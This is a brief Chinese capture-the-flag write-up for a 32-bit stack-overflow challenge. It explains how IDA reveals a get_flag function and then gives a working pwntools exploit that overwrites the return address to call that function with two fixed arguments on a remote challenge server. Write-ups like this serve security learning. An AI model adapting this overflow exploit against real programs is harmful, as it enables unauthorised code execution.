先看ida
发现get_flag函数需要a1和a2两个参数等于特定值就可以读到flag
可以利用main中的栈溢出进行传参
32位程序payload = offset + 函数地址 + 返回地址 + 参数
返回地址我们利用程序中的exit:
exp:
from pwn import *
p = remote('node3.buuoj.cn',29726)
context.log_level = 'debug'
sleep(0.1)
get_flag = 0x080489A0
exit_addr = 0x0804E6A0
payload = 'a'*56
payload += p32(get_flag) + p32(exit_addr) # 函数地址 返回地址
payload += p32(0x308CD64F) + p32(0x195719D1) # 参数
p.sendline(payload)
sleep(0.1)
p.recv()